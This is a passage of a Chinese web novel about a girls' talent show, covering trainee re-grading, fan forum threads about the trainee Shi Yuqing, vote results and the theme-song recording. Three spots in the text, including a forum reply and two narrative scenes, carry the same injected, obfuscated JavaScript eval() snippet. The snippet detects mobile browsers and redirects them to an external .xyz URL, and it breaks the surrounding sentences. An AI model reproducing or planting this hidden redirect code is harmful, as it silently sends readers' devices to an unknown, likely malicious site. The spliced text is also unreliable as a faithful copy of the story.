如果说之前两个A班练习生的降级只是毛毛雨,这个B班练习生如跳楼一般的大降级就是狂风骤雨,呼啸在每一个人心上。 高位等级的练习生尚且跌落至此,那等级更低的她们呢? 没有努力练习的练习生现在已经面色灰败,就连原本对自己还有些信心的练习生们都面色惶惶,她们都不由自主地开始质疑自己原本的设想, 按照这样严苛的评定标准,她们真的可以拿到想象之中的成绩吗? 惊惶和绝望几乎如潮水般蔓延开了,时虞清看见,身边还没有被念到名字的练习生几乎已经将掌心掐得青紫了。 “没有打错。” 看着练习生们望过来的眼神,殷辞玉再次重复了一遍,“没有打错。” 她很早就提醒过她们,F评级的练习生是没有资格站上舞台的,现在这样的结果,她们应该有心理准备。 “舞台是不等人的,你们在成为练习生那一天就应该明白这个道理。” 她的声音平静,却压得人喘不过气。 “导师们可以抬手放你们一马,给你们这个站上舞台的机会,可是公演的时候,观众会给你机会吗?你们有没有用心对待这个舞台,台下的观众一眼就能看见!” 她很少声厉色茬地说这样长的一段话,明明殷辞玉已经放下了手中的话筒,声音还是响彻了整个演播厅, “你到舞台上,那个镜头是怼着你们脸拍的啊同学们!,”她的声音转低,殷辞玉不懂为什么会有人这样敷衍地对待一个足以扭转命运的机会,她的情绪爆发出来,声音之中的哑意就更加明显, “歌词一句不记,站在摄像头面前随口乱编!第一部分的动作都记不住,就那样站在原地等着主题曲放完!” 她像是累极了,叹了口气,才继续哑着嗓子道:“抱歉,本来不想说这个的。” 殷辞玉拿起下一份成绩单,道:“如果有对评级结果不满意的,私下里再找我吧。” 这是一个选秀节目,对很多练习生来说,舞台可能仅仅只有一次。 如果连这仅有的机会都不把握住,又谈什么以后呢? **** 再评级继续。 一个个名字被念出,导师台上,那一摞厚厚垒起的成绩单肉眼可见地减少,穿着不同颜色衣服的练习生们上上下下地挪动,像是被失手打翻的调色盘。 名次上升的练习生满脸喜色,即使红着眼也掩盖不住脸上的激动,哽咽着和身边的队友拥抱;名词下降的练习生面色灰败,捏着一纸成绩单停留在底处,像是被雨水打焉的残荷。 “F班练习生谈玥,请上前领取你的再评级结果。” 穿着灰色卫衣的女生站出队伍,双手接过了那张明明纤薄,却重如千钧的纸张。 在看过纸张上的结果之后,她脸上的惊讶几乎掩盖不住,谈玥反反复复地确认几遍,直到对上殷辞玉沉静却带着肯定的眼神之后,才恍惚着往前走。 她的眼睛直直地看向前方,亮白的灯光一路追照在她身后,几乎将她的身影照得不真实。 她的脚步一直向着舞台侧边的阶梯上走去,几乎没有半分犹豫。 D班。 谈玥没有停下脚步,而是抬起早已酸痛不堪的双脚,踏在了更上一阶台阶之上。 C班。 眼熟她的很多练习生已经面露敬佩,准备好为她鼓掌,可谈玥的脚步并没有停下,而是持续向上一级迈进。 很多原本不关注这边的练习生也转头看过来,于是越来越多的目光落在她身上。 在她与C班众人擦肩而过的那一刹那,全场静默片刻,而后掌声雷动! B班。 谈玥停下脚步,重重地抱住微笑着注视她的时虞清,然后抬起手,和卞苏的手掌重重合拢在一起。 就连殷辞玉也放下手中的话筒,轻轻为她鼓掌。 掌声几乎充斥了整间演播厅,每个女孩脸上都是毫不掩饰的真挚敬佩和赞叹,在这一刻,所有的祝福、所有的赞叹都落在了谈玥身上。 这些善意压弯了女生的脊背,她弯下腰,朝每一句指点、每一秒陪伴、每一次祝福深深鞠躬。 * “舞台不会辜负任何一个人,”殷辞玉送出手中最后一张成绩单,转过身面向众人,“相信结束再评级的你们,会更加懂得这个道理。” “你们的不甘、懊悔,都会在第一次公演,有一个释放的机会。但现在,我要向各位宣布,主题曲C位的选拔方式。” “第一期节目已经剪辑好并同步至各大网络平台,我们将根据节目播出24小时后的投票结果,做出决定。” “投票结果的第一位,将会担任此次主题曲表演的C位。” 她望着台下神色各异的练习生,掷地有声地问道, “练习生们,你们准备好了吗?” * 标题:《有人看万象吗?好纯正的选秀味!》 1L:看了!小姐姐们颜真的好顶!刚点开五分种我就已经被迷得找不着北了! 2L:你们秀芬这些年竟然吃得这么好!我都不记得上次内娱这么多美女站在一起是什么时候了!啊啊啊啊可恶! 3L:脸是一回事,实力就是另一回事了, 4L:楼上这是看完了?怎么说怎么说? 5L:回4L,只能说,旱得旱死涝得涝死。 6L:点了,我都不知道那种长相的美女竟然能摆出那样的表情,谁允许搞笑女进入选秀的! 7L:搞笑女怎么你了!!谁看了我们余纭小姐姐的表演不说一句可爱! 8L:好好好,那请和你的余纭小姐姐说,注意表情管理!我真的不想看到甜妹五官乱飞! 9L:咋就吵起来了?恶语伤人六月寒啊大家! 10L:不愧是小韩传过来的娱乐方式,我能说好几个小姐姐真的韩味好重吗…… 11L:楼上没有认真看节目吧?这个节目里面本来就有几个在韩务工的练习生啊! 12L:是说燕临纾?她的妆造韩味也好重啊。 13L:韩味重难道是坏事?选秀本来就是从韩国那边穿过来的吧。 14L:哎我不是这个意思啦……但是不管怎么说,照搬也不好吧?总得有一点地域特色? 15L:我记得好像有一个叫舒照闻的!她就很有华夏味! 16L:这样吗!我现在就开始拖进度条! * 标题:《谁懂!!!真的对又酷又飒又美的小姐姐没有一点抵抗力啊啊啊啊啊啊!!!》 1L:已知该贴在万象如我分区,说的究竟是谁一秒解码。 2L(楼主):羞涩.JPG 3L:别说,卞苏真的中性美的神,她跳舞时候的那个力道感觉能一拳把我囊死。 4L:哈哈哈哈哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388955|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么鬼才形容!!! 5L:3l话是糙了点,但说得没错呀!卞苏跳舞真的力道很足!每个点都卡在了拍子上,看的我爽死了! 6L:第一个A的含金量不言而喻了。 7L:支持。 8L:支持。 9L:支持。 10L:别在这刷支持了啊喂!去给人家投票比什么来得都真!在座各位难道不想看到巨C的诞生吗!! 11L:姑娘说得有理,小女子这便退下了! 12L:告辞!投票去之,快哉快哉! 13L:这不是个选秀节目吗! !!哪里来的古风姑娘????还不速速拖走!! * 标题:《也是让我吃上细糠了……顶级淡颜已经出现,内娱怎么能够停滞不前!!!》 1L:楼主说得哪位? 2L:帖子分类在万象如我,好像是最近新出的选秀节目,是在说那位练习生吧! 3L:对头!请看淡颜天才长相! 图片.jpg 图片.jpg 图片.jpg 4L:咋看着这眼熟呢。 5L:时虞清???? 6L(楼主):回楼上,没错! 7L(楼主):从现在开始,她就是我新的墙头了,走过路过不要错过,都给这个淡颜天才时虞清小姐姐投票啊!!! 8L:楼主咋看上她了,不知道她有瓜? 9L(楼主):我不造啊,是说她演过汝照云吗?可角色不上升演员,这有啥好喷的?! 10L:不是啦,听说她在SD现场对观众冷脸,态度特别恶劣! 11L(楼主):SD是啥?我咋没听说过? 12L:是话剧圈里面的术语啦,时虞清是话剧演员来着,SD就跟现在明星的签售差不多! 13L(楼主):啊??还有这种事情,我去搜搜看! 14L:楼上说得真的假的,还有人会在签售的时候对粉丝冷脸?哪有那么蠢!这跟自毁前途有什么差别??? 15L:空口造谣损阴德哦。 16L:我哪造谣了,不信你们看看楼主回来怎么说。 17L(楼主):我回来了大家。 18L:怎么样怎么样! 19L:假的吧假的吧!这种长相的人再坏能坏到哪里去? 20L:是在说万象的时虞清小姐姐吗!她业务能力很好啊,vocal展示那部分给我唱得鸡皮疙瘩都起来了! 21L(楼主):说来话长。 22L:我老天急死我了,那就长话短说!!! 23L(楼主):你们剧圈的SD一上来就是两个小时?这不是签售啊!别混淆概念好不好,不是所有话剧演员都有义务给你们SD的! 24L(楼主):没看人家女二身体都不舒服了吗,你们都超规定时间快一个小时了还要怎样??你们买的是话剧票不是签售票啊各位! 25L:有点没听明白,楼主啥意思? 26L:我听明白了,就是这个SD相当于话剧结束之后的福利,免费的,但是那些观众没完没了,一直追着演员不放,然后她们有主演身体不舒服撑不下去了,那些人就嘘她,时虞清就冷了脸。 27L:我勒个乖乖,你们这是把自己当皇帝啊。 28L(楼主):就是这个意思,感谢26L总结,我实在被气到词不达意了。 29L:那时虞清不仅没错还很正义啊!这算啥瓜??? 30L(楼主):我们圈外人就是这样想的啊!换个正常人都会这样想吧!结果我一看大眼词条广场,全是骂的,还有p遗照的!**真是开了眼了,你们这和网暴有什么区别??? 31L:楼主提醒晚了,我的眼睛已经脏了,那些人骂的好过分。 32L:感谢提醒。 33L:感谢提醒。 34L:那这样说的话,时虞清简直无妄之灾,她们剧院还因为那群**把她工作暂停了,简直无话可说。 35L:三人成虎啊。 36L:我真的要怜爱了。 37L:我说她咋一直不看镜头,演员出身啊怪不得。 38L:可是她业务能力真的可以啊!感觉比其他很多人都跳得好了。 39L:支持。 40L:支持。 41L:支持。 42L:支持+10086 43(楼主):干啥呢家人们!赶紧去投票支持啊!!!速速pick这个淡颜天才时虞清! 20.直击主题曲录制现场!! **** 【投票通道开启,请给你pick的练习生投票吧!】 【距节目播出已23时59分57秒。投票通道即将关闭,请尽快给你pick的练习生投票吧!】 【3】 【2】 【1】 【投票通道关闭,排名结果将发放至每一位练习生手中,感谢每一名万象制作人的支持!】 ** “投票结果就出来啦?” 时虞清坐在白色的旋转椅上,满脸惊讶地询问摄像机背后的导播。 女生戴着鸭舌帽,手里还拿着一张折起来的卡纸,笑显得分外得意:“是呀,我们效率是不是很高!” 时虞清默默点头。 实在是太迅速了,连给其他练习生一点心理压力的准备都没有。 她们基本上是刚出演播厅就被导播们陆陆续续拉过来做采访,连喘口气的时间都没有,就要听到另一个更重要的成绩宣布。 时虞清觑了一眼导播,见她没有把那张纸递给自己的意思,无奈道:“假的吧,是不是你们还在连夜统计来着。” 这个导播是最常和练习生们打交道的导播之一,不管什么等级的练习生都和她颇为熟悉,就算摄像机在面前开着,开两句玩笑也是很长见的事情。 “咳咳,”导播小姐姐平时就是一幅活泛模样,要不然也不能和这么多练习生们打成一片,她抖了抖手上的纸张,“童叟无欺啊童叟无欺。” 看见那纸张上果然隐隐约约透出字样,时虞清棋差一招,却依旧是一幅笑模样:“有还不给我?” 没想到导播小姐姐却将拿着纸的手往回一缩,伸出另一只手做话筒状:“咳咳,在这之前,我们想要采访一下时虞清练习生。” 采访谁?她? 时虞清满头雾水,尽管在初舞台上拿到了A等级评价,但网上她的风评依旧,真的会有人给自己投票吗? 在她自己的设想之中,自己的网络排名应该是80—90左右,就算有浮动,也不会相差太多。 这样的成绩,真的值得被单独采访? 时虞清心中生疑,但还是听从导播的话两手交叠坐在白色高脚凳上,俨然一幅乖巧等待被采访模样。 导播清了清喉咙,问出第一个问题:“来到咱们节目之后,感觉怎么样?” 时虞清想了想,给出了最官方最不出错的回答:“感觉很好。大家之间的氛围都很好,导师们也很认真负责,感觉从她们身上学到了很多。” 导播显然不是很满意这个回答,连连追问道:“具体呢?咱们节目难道不值得你展开说说吗?” 她说完,若有所思地看了一眼身旁的摄像头,安抚道:“放心,如果有不合适的回答,我会帮你剪掉的。” 时虞清失笑,她倒是真的不怕说出什么不能说的东西,但真要展开说的话,她怕自己刹不住车, 不管来这个节目之后,她所谓的路人缘到底会不会扭转,但起码这一段时间,她过得还算是开心, “感觉被大家照顾得很多,在A班练习的时候,卞苏和燕临纾都有帮我很多,邬钰很细心,常常会给我们带早饭,舒照闻练习很用心,光是听她唱歌就能学到特别多。” “大家都有很认真地追逐自己的梦想,她们真的有在好好热爱这个舞台。” 导播哑然。 她问时虞清这个问题,本意是让时虞清在镜头面前卖卖惨卖卖情怀,好为自己招揽粉丝,再不济说说自己对这个舞台的热爱,也能招揽粉丝的恻隐之心。 可她好像句句都是自己,又好像句句不提自己。 从不知道什么开始,她就看出来时虞清和别的练习生不一样,就拿这三天的主题曲来说,别的人努力是为了证明自己的实力,为了拿到更多更好的曝光从而出道, 但是时虞清好像只是对这个舞台感兴趣,兴致所至来玩一玩而已。 她随时会离开这个节目,导播想,或许她根本就不属于这里。 时虞清打太极的话术太厉害了,导播不得不直接摊开来问:“你觉得之前SD的事情对你来说有什么影响吗?” 终于来了。 时虞清心下无奈,她总算是知道为什么节目组会特意安排这个环节了,感情是得到了王姐的授意,给她洗路人盘来了。 但是这种事情,真的不是低个头认个错就行了的。 时虞清抬起头,她很少这样直接而锋锐地直视镜头,“更加勇敢了吧。有些事情对就是对错就是错,做过了就不后悔。” 更何况,她不认为那是错。 但是看着导播明显噎住了的表情,她还是找补了一下,开玩笑道:“也算是一种幸运吧,如果不是这个契机,我也不会来到《万象如我》,更不会认识大家了。” 导播闻言立马松了一口气,时虞清这样耿直,简直是有什么说什么,可她却不敢再问,立马切换到了下一个问题: “有没有设想过自己的排名?” “进录播室的时候想过。” 感情如果不是这一场采访,她根本就不会关心自己的成绩? 导播有些心梗,还是坚强地问下去:“是什么样的呢?” “前二十名吧,”时虞清轻轻道,“倒数的。” 看着导播明显亮起来就熄灭的眼神,时虞清笑得狡黠。 导播看着时虞清这样,好笑又好气,觉得这一晚上实在是被折腾到新潮起伏。 但想到时虞清真正的排名成绩,她坏笑了一下,心中报复心思渐起,索性直接跳过了中间的采访环节,将手中的纸张递给时虞清, “来吧,看看和你想得一不一样。” 时虞清双手接过她递来的纸张,随意打开看了一样—— 雪白纸张上面,鲜红的字迹几乎浓艳到刺目: 三! “这……”时虞清翻来覆去看了好几遍,还是不敢相信自己看到的东西,对着导播不可置信到:“你没拿错吧?” 看着她终于有了明显的情绪,不复之前的滴水不漏,导播心中暗爽,乐见其成地指了指扉页, “时虞清”三个大字赫然在目,连半个笔画都没有错。 时虞清还是不太相信这个结果,这个排名实在是和她想得想去甚远,冥冥之中,她觉得好像有什么事情失控了。 但她并未深想,只是又看了一边红字,才万念俱灰道: “这票刷的吧……” 导播听到了她的小声嘀咕,连忙正色,对着镜头严肃道: “各位万象制作人请放心,我们会根据用户的活跃程度和节目观看时长计算有效票,保证每一票都公平公正公开,万象如我节目组将竭诚保证节目的透明性!” 她说得铿锵有力,眼神坚定到像是下一秒就要入/党。 时虞清:………… 谁来管管。 ** 主题曲录制。 时虞清从来没有见过这么大的舞台,四个舞台鳞次栉比,高高低低地排列在一起,从时虞清这个角度看过去,用“壮观”来形容也不过分。 她跟着队伍往前走,身边“哇”声一片,很显然,她们之前也没有见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395727|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么大的舞台。 走近了看,舞台显得更加开阔,数十盏灯光串珠一般沿着舞台环绕一圈,顶光几乎耀目得刺眼,照得如半个足球场大小的舞台恍若白昼。 四个舞台连起来,堪比两个足球场。 加上数十米长、挂着摄像机的摇臂,练习生们恍若踏足另外一个世界。 这可是无数人都梦寐以求的舞台,真正的舞台。 不是街头摆个音箱就可以开始唱的开阔空地,也不是商场用废弃箱子搭起台子就可以开始唱的草台班子,更不是可笑的、台下来人寥寥无几的自我娱乐舞台。 是真正的、将会被万众瞩目的舞台。 气氛一下子就沉寂下去,刚刚的激动、赞叹好像都被冻结,转化成心中一股说不清道不明的哽塞。 她们总算……走到了这里。 这三天的辛苦得到的回报好像都化为实质,等级评价好像不再是一个潦草的字母、一张单薄的纸,而是化作了明亮的灯光,专业的设想、广阔的舞台。 时虞清注意到,不少练习生都在这一刻红了眼眶。 就连平常又酷又拽的卞苏都没有再说话,而是望着正中间的舞台怔怔发呆。 殷辞玉不知道什么时候出现在她们身后,看着她们通红的眼眶也没有多说,只是温声道: “去吧,”她抬手遥遥一指,“那是属于你们的舞台。” ***** 卞苏深吸一口气,站在了那个自己设想了无数遍,中间那个舞台上,正中央的位置。 她并不是初出茅庐的新人,她比任何人都清楚,想要出道、想要获得关注,很多时候,并不是有实力就可以的。 但是这一刻…… 想起半年前自己一次一次在练习室待到深夜的时光,想到这三天内一遍又一遍调整的动作,一次又一次练习的曲调和节拍,卞苏悄悄平复着情绪,摆出一个无懈可击的营业笑容, 她终于做到了。 **** 有人得意,就会有人失意。 毕竟舞台从来都是公平的。 十三个练习生失魂落魄地跟在殷辞玉后面,面露艳羡地看着眼前这个闪耀而庞大的舞台。 她们之中有的人已经红了眼眶,有的人却还勉强维持着漠不关心的表情, 但不管面上如何,她们心中都已经开始后悔。 如果自己当初努力一点,是不是站上这个舞台的就是自己? 是不是如果自己再认真一点,就可以站上这个舞台? 不管最后能不能出道,不管能不能被更多人看到,起码在这一刻,她们是真心想要站在这个舞台上。 殷辞玉回头看了一眼,就知道她们在想什么,但她说什么,只是站在原地叹了一口气。 F班不能站上舞台是她一开始就强调过的事情,现在事情到了这种地步,已经没有挽回的余地。 但看着已经跟着其他练习生彩排一起跳起主题曲的练习生们,她还是怔住了。 舞台的侧边是没有光的,好像闪耀和明亮只留在台上,台下只有一片浓稠的、挥之不去的黑暗。 但她们看上去好像并不在意这个,她们不管这里有没有伴奏,有没有灯光、有没有观众,只是执拗地、孤独地跟着隐隐约约传来的主题曲动作起来。 暗色笼罩在她们的脸上、发丝上,殷辞玉离她们并不远,却也没办法看清她门脸上的表情。 但是看清了这一幕,也够了。 殷辞玉静默片刻,转身朝着导播室去—— 那是总导演和摄像师所在的地方, 21.小组对决(一) 其实一开始,珂霖觉得舞台的边角只会是黑色的。 她们没有办法站上舞台,只能用这样的方式来跳出舞蹈。 台上明亮,台下漆黑。 一线之隔,天壤之差。 在最开始,其实珂霖已经做好不能站上舞台的准备了。 她自信满满地给自己做心理建设,心安理得地逃过了每一天的训练,在宿舍里面睡大觉。 本来参加这个节目也只是为了完成公司的kpi,她能站在这里已经算是完成任务了,至于能走多远,那就不是努力就能解决的事情了。 珂霖在公司熬了快五年,从一开始的雄心壮志到现在的得过且过,她比任何人都清楚,出道是一件渺茫的事情。 公司也清楚这个道理,所以现在只是在和她熬合同,只要参加完这个节目之后再过三个月,她和公司的合同就彻底到期了。 她就彻底自由了。 没有无休止的练习,没有终日惶惶的思量,没有难以处理的人际关系,更没有是不是冒出的、痴人说梦的妄想。 她觉得很轻松。 但是看着舞台上耀眼的灯光,璀璨夺目的女生们,她还是不可抑制地生出羡慕,鬼使神差,她跟着F班的人一起,站在舞台背后的角落和她们一起跳完了这一支舞。 尽管动作并不熟练,歌词也大部分都想不起来,但只是这样纯粹的跳舞、唱歌,就会让人感觉很放松、很开心。 珂霖已经不知道自己有多久没有跳过这样轻松而愉悦的舞蹈了。 所以不管有没有灯光,有没有镜头,甚至有没有人看,她都觉得没有关系。 但在这一片漆黑之中,珂霖抬起眼睛,却看见了她意想不到的东西。 硕大的机械摇臂迅猛驶来,闪着红光的摄像机在她们面前短暂地停留三秒,才抬高去拍最上面的舞台。 “刚刚……镜头是对着我们吗?” 有人迟疑着发问,却没有停下手上的动作。 那一架工作中的摄像机,镜头的的确确对准的是她们。 F班里面,没有人比珂霖更了解摄像机工作的时候会是什么样子,毕竟她曾经在练舞的间隙无数次练习过、拿起过,但囿于工作和前途,她只能无数次放下。 三个月之后,只需要等三个月,她就能长久地拿着摄像机,再也不放下来了。 珂霖没有说话,她根本不在乎这个时候镜头对准的就是不是自己,只是默默在脑海中慢慢回忆着动作。 没有人回答那个女生的问题,大家都在沉默地跳着,只有人清唱主题曲的声音小声传来,大家都不想要打断。 毕竟比起虚无缥缈的镜头,让身边的朋友最后一次唱完主题曲来得更加重要些。 珂霖做完ending part之后喘了口气,才回答那个女生:“刚才……确实有镜头扫过来。” 她蹲下身,将后背靠在舞台的台柱上面,慢慢道:“就拍了三秒多吧,不知道是不是意外。” 她话中的意思显然易见,“意外”的可能性更大,甚至接近百分百。 机器运转时候产生的热度透过舞台的台壁传导到后背,珂霖没有说话,享受着难得的宁静和温暖。 她听着耳旁此起彼伏的叹气声,刚想站起身安慰,就听见一个嗓音在身后清凌凌道:“不是意外。” 珂霖被吓了一跳,差点直溜溜从台壁上面直接滑下去,她倏然转过头,身后竟然是殷辞玉的脸! 她望着女生们不约而同望过来的脸庞,又重复了一遍刚才的话:“不是意外。” 她的视线在女生们跳得微微发汗的面庞上扫过一圈,才微微弯了双眸,“我跟总导演商量过了,你们刚才的舞台,是会有镜头的。” ……明明只是站在高台角落的随意一跳,她却郑重其事地称之为“舞台”。 珂霖心中五味杂陈,她不知道应该说什么,毕竟她曾那样忽视过殷辞玉的苦心。 可是现在,殷辞玉却特地跑了一趟给她们争取镜头。 珂霖心知肚明,如果不是殷辞玉为她们争取,她们可能连摄像头的影子都没有办法见到。 她垂下眉,先站起身对殷辞玉鞠躬:“谢谢殷PD。” 其他练习生这才如梦初醒,连忙随着她的动作弯下腰:‘谢谢殷PD!’ 殷辞玉摆摆手,“你们最应该感谢的是你们自己。” 她看上去没有多说的打算,转身离开之前,只是和她们轻声道:“不要做让自己后悔的事情。” 珂霖望着她渐渐走远的背影,才慢慢滑坐在原来的位置上。 她抱着膝盖微微出神,想着殷辞玉刚刚说过的话。 后悔? 她不会后悔的。 ******** 时虞清精疲力尽地睡下时,还感觉昨天舞台上的灯光在眼前晃动。 但她感觉自己才刚刚阖上眼睛,就被谭清清拍打床边的声响吵醒。 “虞清?虞清!快醒醒醒醒!!马上要集合啦!” 她大声喊了两句,但见时虞清还是一幅闭目安睡的样子,就忍不住回头问站在她身后的蒋韫庭。 “你们B班的舞台是被单独下了迷药吗?” 蒋韫庭稳定发挥,留在了B班,昨天主题曲的站位离时虞清并不远。 她踌躇着看睡梦中的时虞清,似乎是觉得她烫手,在原地犹豫半晌还是没有做出动作,只是谨慎而缓慢地慢慢靠近时虞清,思索着叫醒她的方法。 “没有。” 她随意大发了谭清清的发问,才小心翼翼地敲了敲时虞清床边的护栏。 见时虞清还是没醒,她才转头正眼看了谭清清:“她怎么还没醒?” 我怎么知道!! 谭清清想不明白,前三天时虞清哪天不是六点多就起床?从来不迟到不赖床,今天倒是奇了怪了,怎么叫都叫不醒,像是活生生睡晕过去了。 要是放在平时,她睡过去也就睡过去了,可是今天是集合的时间,就连PD也会来,实在是不能缺席。 想到这里,谭清清硬下心肠,大力晃了晃时虞清露在外面的手臂:“醒醒啊虞清!!真的要迟到了!” 不知道是不是她的苦心终于感动了上天,时虞清终于幽幽转醒,半梦半醒地问她:“……清清?你,你怎么这么晚还不睡?” 她打了个哈欠,“明天还要集合,你,嗯,你还是早点睡吧。” 谭清清当场愣怔在原地。 她……她到底在说些什么啊!!?? “已经白天了!”谭清清拖起说完话就阖上眼的时虞清,“现在不是昨晚啊!” 她在说什么……好困…… 等等,已经白天了??? 时虞清倏然睁开眼。 ****** 几人刚刚站定,拿着麦克风的殷辞玉就另一边出现。 时虞清还没有喘匀气,就要和众人一起弯下腰鞠躬,“殷PD好!” 殷辞玉微微欠身,给她们回了礼才拿起话筒说道:“昨晚休息得怎么样?” 她没有寒暄的习惯,但是看着面前一张张黑眼圈快要垂下来的素颜,她还是忍不住担心。 不怎么样。 谭清清默默在心里吐槽,昨天真是一波又一波的情绪高峰,她连做梦都做得光怪陆离。 虞清倒是休息得不错,今天早上怎么喊都喊不醒。 她幽怨地朝着时虞清飘过去一眼,但看着时虞清还是一脸没睡醒的倦意,她还是不可抑制地心软下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401433|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是因为这三天过的太辛苦了吧。 想到这里,谭清清收回了视线,决定停止在心中腹诽时虞清的动作,开始聚精会神地听殷辞玉PD在说些什么。 “大家还是要注意休息,打起精神迎接下一个任务。” “好,现在我们发布下一个任务——小组对决。” 听到这里,谭清清已经开始累了。 但是没有办法,她只能强撑着振作起来,认真听殷辞玉接下来的话。 “我们精挑细选了十首曲目,练习生们将分成十组,表演你们小组所对应的曲目。” “每首曲目对应十位练习生,而这十名练习生将被分成A、B小组,每组五人进行PK对决。” “在第一次公演的时候,台下的万象制作人会给小组投票,得票数更高的小组获得胜利,将额外获得五万票的奖励。” “而获胜小组中,得票数最高的练习生,将得到额外的五万票奖励,也就是说,她能一共得到十万票的奖励。” 练习生一片哗然。 “这真的还要万象制作人们额外投票吗……这十万票一出已经赢了好吧。” “不能啊,你算算,能拿到这十万票的有足足十个人呢!出道位可是只有五个啊。” “又是一轮新的厮杀啊。” “谁说不是呢。” 殷辞玉耐心等着练习生们都讨论完,才开始说下一项规则, “而挑选曲目的顺序也是有规则的,将由A班开始,逐一挑选曲目,五人即为满队,十人后这首曲目就不再给大家挑选,先到先得。” “这就是A班的好处吗!!” “我真的羡慕了……” “我在F班,那岂不是完了?天哪,老天保佑让我挑到一首简单点的曲子吧。” 练习生们的反应是意料之中,殷辞玉没有意外。 她侧过身,做了一个类似于“请”的手势:“那现在,就请工作人员给我们播放我们即将要表演的十首曲目。” 音乐声渐起。 只听编曲,倒也确实听不出歌曲的难易,只能尽量从风格上进行选择。 卞苏没有犹豫,当即立断抬脚,站在了标有《秘境》的曲目名牌下面,那是一首偏酷炫风的舞曲,光是密集的鼓点就足够炸裂。 邬钰看上去很迟疑,她沉思片刻,还是站在了《DO U》曲目名牌下面,那是十首曲子之中不管是编曲还是风格都是最接近女团风的曲目,同时也最不容易出错。 燕临纾看上去也没有犹豫,干脆利落地站在了《look me out》曲目名牌下面,这首曲子也偏向女团风(kpop风),但编曲更加悠扬婉转,对vocal的水平要求会更高。 A班还有其他的练习生,也都陆陆续续选择了和自己风格最契合的曲目。 很快就轮到B班,这个时候每首歌下面都有空缺,所以不着急做选择。 舒照闻径直朝着《雨落百年》的曲目名牌下走去,那是费谣刚出道时发的EP,直到现在也是大家耳熟能详的老歌,但这首歌拍子奇难,几乎每一段进拍的鼓点都不相同,变幻无穷。 更别提这首歌还有几乎到了high c的高音,只要能把这首歌唱对拍子,就已经算是乐坛高手了。 B班也有不少人并没有鲜明而突出的风格,所以并不挑曲子,而是直接挑人。 人气最高的几位A班练习生身边都陆陆续续又人站过去,卞苏朝着时虞清的方向疯狂招手,意思是她再不来位置就没了。 可时虞清却向她摇了摇头。 她迈步,朝着《宇宙狂想》走去。 那是一首有名的R&B风格的舞曲,她之前出演过的第一部现代话剧,就是用的这首曲子作背景音乐。 22.小组对决(二) 谭清清推开门的时候,时虞清已经脱下外套准备热身了。 她嘴里还嚼着包子,说话含糊不清:“demo还没有送过来吗?” 她们是没有办法送《宇宙狂想》的原曲上舞台的,每一首歌用的都是改编过的版本,可直到现在demo(歌曲小样)还没有送过来,几人的好奇心都达到了鼎盛。 暗色的豆沙馅顺着喧软的面皮热气腾腾地溢出,谭清清吃得直抽气,听到时虞清说“没有”也只是摇摇头,遗憾道:“好吧。” 她三两口把包子咽下去,才转过头和时虞清聊天:“其他人还没有到吗?昨天我都没记住她们名字。” 昨天散场得早,基本上是分完组就解散了。 但是《宇宙狂想》组算是编曲复杂,光听片段就能听出难度不低的曲子,所以满员的速度比其他组来说慢了不少。 邬钰那首歌倒是最快满员的,时虞清若有所思地回忆,不过也是,大热女团曲的改编,光是歌本身就自带热度。 她接过身旁工作人员递来的手机,边低下头看边不忘回谭清清的话:“别担心,大家身上都有名牌呢,不会因为叫不出名字而尴尬的。” 这话倒也对。 谭清清拍干净了手上的残渣。才探身过去到时虞清旁边:“你这是看什么呢?” “我之前的话剧视频,”时虞清没抬头,“没想到这个视频到现在还没有下架。” 她只是对这首歌的旋律有印象,但是歌词和主题基本上都忘了个干净,现在demo没有出来,她也可以看看之前的话剧视频找找灵感。 毕竟每一场话剧的bgm(背景音乐)都是精挑细选的,肯定和歌曲本身有很高的契合度。 对时虞清来说,这是比听原曲无数遍还要来得有效的方法。 她之前手机里面的歌单的大部分歌曲,基本上都是看剧过程中觉得好听的背景音乐。 “我看看!”谭清清很感兴趣地凑过来,她只见过时虞清演电视剧,看她演话剧还是第一次。 视频有些年头了,画质并不高清,加上拍摄者明显坐在后排,所以视频最多只能看清楚演员们的身形,看不清脸。 但就算是这样,谭清清还是一眼就认出,站在舞台中央的那个穿着裙子的女生,就是时虞清。 可那个时虞清和现在的时虞清实在是太不一样了,谭清清从来没有在时虞清脸上见到过这样明媚而热烈的笑容, 像是一株怒放的玫瑰花,就算盛开在无人问津的沙漠也不吝向世人展耀她鲜艳的颜色和锐利的倒刺。 风沙不会阻塞她的花苞,反而沦为她展现自我的背景板。 可现在的时虞清却更像是一株素淡的白山茶,虽然香气馥郁芬芳,却冷淡清冽,让人轻易不敢靠近。 